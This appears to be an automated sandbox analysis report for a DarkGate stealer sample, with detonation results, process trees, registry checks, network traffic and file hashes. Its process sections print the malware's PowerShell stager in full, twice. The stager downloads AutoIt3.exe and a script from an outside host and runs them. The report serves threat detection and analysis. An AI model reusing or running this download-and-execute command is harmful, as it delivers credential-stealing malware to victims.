Malware Analysis Report

2024-11-30 11:15

Sample ID 231027-crb7babd6v
Target a509ba7ed20b627448a220c2924d3a07.bin
SHA256 fec89bc473f4719f3dbe08bd92f4ee75dc9ec279032a94860d01edd5370dcf6c
Tags
darkgate ads5 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

fec89bc473f4719f3dbe08bd92f4ee75dc9ec279032a94860d01edd5370dcf6c

Threat Level: Known bad

The file a509ba7ed20b627448a220c2924d3a07.bin was found to be: Known bad.

Malicious Activity Summary

darkgate ads5 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-27 02:18

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-27 02:18

Reported

2023-10-27 02:20

Platform

win7-20231023-en

Max time kernel

120s

Max time network

123s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msirzskfhle' -OutFile 'rzskfhle.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'rzskfhle.au3'"

Network

N/A

Files

memory/1980-4-0x000000001B320000-0x000000001B602000-memory.dmp

memory/1980-6-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

memory/1980-5-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

memory/1980-7-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

memory/1980-8-0x0000000002A40000-0x0000000002AC0000-memory.dmp

memory/1980-10-0x0000000002A40000-0x0000000002AC0000-memory.dmp

memory/1980-9-0x0000000002A40000-0x0000000002AC0000-memory.dmp

memory/1980-11-0x0000000002A40000-0x0000000002AC0000-memory.dmp

memory/1980-12-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-10-27 02:18

Reported

2023-10-27 02:20

Platform

win10v2004-20231023-en

Max time kernel

91s

Max time network

154s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\temp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\temp\AutoIt3.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\temp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msirzskfhle' -OutFile 'rzskfhle.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'rzskfhle.au3'"

C:\temp\AutoIt3.exe

"C:\temp\AutoIt3.exe" rzskfhle.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 1.202.248.87.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 sftp.bitepieces.com udp
US 185.174.101.224:443 sftp.bitepieces.com tcp
US 8.8.8.8:53 224.101.174.185.in-addr.arpa udp
US 185.174.101.224:443 sftp.bitepieces.com tcp
US 8.8.8.8:53 177.17.30.184.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 254.7.248.8.in-addr.arpa udp
US 8.8.8.8:53 8.3.197.209.in-addr.arpa udp

Files

memory/216-0-0x000001EBDB7C0000-0x000001EBDB7E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b3fqm1u3.k0k.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/216-10-0x00007FF91E180000-0x00007FF91EC41000-memory.dmp

memory/216-11-0x000001EBDB610000-0x000001EBDB620000-memory.dmp

memory/216-12-0x000001EBDB610000-0x000001EBDB620000-memory.dmp

memory/216-13-0x000001EBDB610000-0x000001EBDB620000-memory.dmp

C:\temp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\temp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/216-27-0x00007FF91E180000-0x00007FF91EC41000-memory.dmp

C:\temp\rzskfhle.au3

MD5 57372288639ec408a9890ffe00116d10
SHA1 fa10fa3001c32f0baf65ed0a65d71178f195194a
SHA256 12c7dd3161640f5af1537967c94898fb93d99fa94be14cf747ea1ff46b3ca7b0
SHA512 dce848abde4a2ff48738f1f793835edf9672a00dff917010f3f54a24d9ca86efcb890ff14c2398f96fd2ca178821cd829a6f1977d2a8263e9208f7ad4dc53563

memory/4556-30-0x0000000001690000-0x0000000001A90000-memory.dmp

memory/4556-31-0x00000000049B0000-0x0000000004CDA000-memory.dmp

memory/4556-32-0x00000000049B0000-0x0000000004CDA000-memory.dmp